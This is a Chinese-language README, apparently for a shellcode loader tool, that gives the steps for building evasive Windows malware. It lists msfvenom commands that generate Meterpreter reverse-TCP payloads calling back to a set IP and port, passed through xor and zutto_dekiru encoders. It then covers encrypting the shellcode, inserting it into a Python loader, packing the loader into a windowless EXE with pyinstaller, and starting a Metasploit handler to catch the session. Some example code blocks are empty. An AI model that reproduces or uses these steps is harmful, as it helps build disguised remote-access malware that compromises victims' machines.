生成Payload

Metasploit,輸出c、py格式,可用xor、xor_dynamic、zutto_dekiru編碼器。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.30.20 lport=8899 -f c  -o  payload.c
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.30.20 lport=8899 -f py -o  payload_py.c
msfvenom -e x64/xor -p windows/x64/meterpreter/reverse_tcp lhost=192.168.30.20 lport=8899 -f c -o payload_xor.c
msfvenom -e x64/xor_dynamic -p windows/x64/meterpreter/reverse_tcp lhost=192.168.30.20 lport=8899 -f c -o payload_xor_dynamic.c
msfvenom -e x64/zutto_dekiru -p windows/x64/meterpreter/reverse_tcp lhost=192.168.30.20 lport=8899 -f c -o payload_zutto_dekiru.c

CobaltStrike,這里選擇使用x64的C語言或Python語言的Shellcode。

得到一個payload.c的文件,內容為:

加密Payload

Shellcode_encryption.exe payload_c.c

配置ShellCode加載器

將生成的密文ShellCode 填至 ShellCode_Loader.py 里的 Data = '密文Shellcode' 處 示例:

最終格式:

打包EXE可執行程序

編譯環境:Python 3.8.6、pyinstaller 4.7,生成ShellCode_Loader.exe在dist目錄中。

pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
pyinstaller -F -w ShellCode_Loader.py

上線測試

msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
msf6 exploit(multi/handler) > run

下載地址

https://github.com/Axx8/ShellCode_Loader